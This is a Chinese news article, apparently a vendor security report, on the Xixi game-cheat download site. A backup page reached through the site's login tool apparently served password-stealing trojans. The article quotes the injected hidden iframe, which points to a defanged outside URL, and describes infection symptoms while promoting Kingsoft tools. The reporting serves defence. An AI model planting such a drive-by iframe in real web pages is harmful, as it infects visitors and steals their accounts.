陇南 | 民生 | 体育 | 亲子 | 国内 | 国际 | 专题 | 评论 | 房市 | 车市 | 财经 | 旅游 | 美食 | 教育 | 文史 | 娱乐 | 

首页 | 陇南 | 国内 | 国际 | 社会 | 财经 | 娱乐 | 体育 | 看图不说话 | 微言大义 | 滚动
陇南网 > 车市 > 正文

西西游戏网疑似被入侵 玩家险中木马

2019/9/11 10:01:26 来源:新京报 大字体 小字体 扫码带走
打印

金山毒霸安全实验室监测6月17日消息,金山网盾云端数据突然监测到西西游戏网的当日外挂下载均报危险。西西游戏网是深受外挂玩家欢迎的游戏外挂下载网站,外挂玩家出于对西西游戏网的信任,很可能认为杀毒软件误报西西游戏网下载的外挂程序,若不幸中毒,可使用金山急救箱快速恢复系统,安装了金山网盾的用户将不会受害。

  免费下载金山网盾:http://mydown.yesky.com/soft/utilitie/antivirus/488/441988.shtml

  金山毒霸安全专家对西西游戏网的异常情况进行了详细检查,结果发现是西西游戏网近日提供了一个西西游戏登录器,这个登录器的作用是在西西游戏网不能登录时,使用登录器访问备用网站。但很不幸,这个备用网站被入侵,或备用网站出于某些原因被人为植入木马。当外挂玩家访问备用网站时,会下载大量盗号木马。安装了金山网盾的玩家在打开西西游戏登录器访问到挂马页面时,金山网盾会立即弹出报警。

  分析发现挂马的方式是在正常页面中插入:

以下是引用片段:
<iframe src= hxxp://www.9966.org:8801/user/Zr02/index.html width=100 height=0></iframe>


  其中hxxp://www.9966.org:8801/user/Zr02/index.html页利用系统多个漏洞挂马,访问时会下载大量盗号木马,下图中的js文件实际全部为PE文件(可执行程序)。

  若外挂玩家不慎中招,会发现系统速度变慢。在开始、运行,输入%Temp%,会发现temp文件夹下出现大量隐藏属性的DLL文件
\

图为:访问西西游戏网不慎中毒之后,会在temp文件夹发现大量DLL病毒

  中毒后的电脑会发现桌面快捷方式小箭头不见了,这是病毒修改了桌面快捷方式的属性。

  查看被修改后的桌面快捷方式属性,会发现对应的打开方式已被修改为wscript.exe

\

图为:使用金山急救箱快速清除病毒,恢复被破坏的系统

  金山毒霸反病毒专家指出,西西游戏网被挂马的页面已被管理员发现清除,目前尚无法得知这是网站被黑客入侵还是其它人为原因。金山安全专家提醒游戏玩家,特别是偏好使用外挂的游戏玩家务必小心,推荐安装金山网盾拦截可能的威胁。

  已经不幸中招的外挂玩家,可以使用金山急救箱来清除病毒,修复被破坏的系统。


相关阅读:
河南金税接口 http://www.xmingsoft.com

关于我们 |  联系方式 |  广告服务 |  业务范围 |  本网招聘 |  站点地图 |  版权声明 |  员工查询
新闻许可:国新网3712006003号   电信许可:鲁B2-20090035   ICP:鲁ICP备09023214号  

Copyright 1997-2014 All Rights Reserved.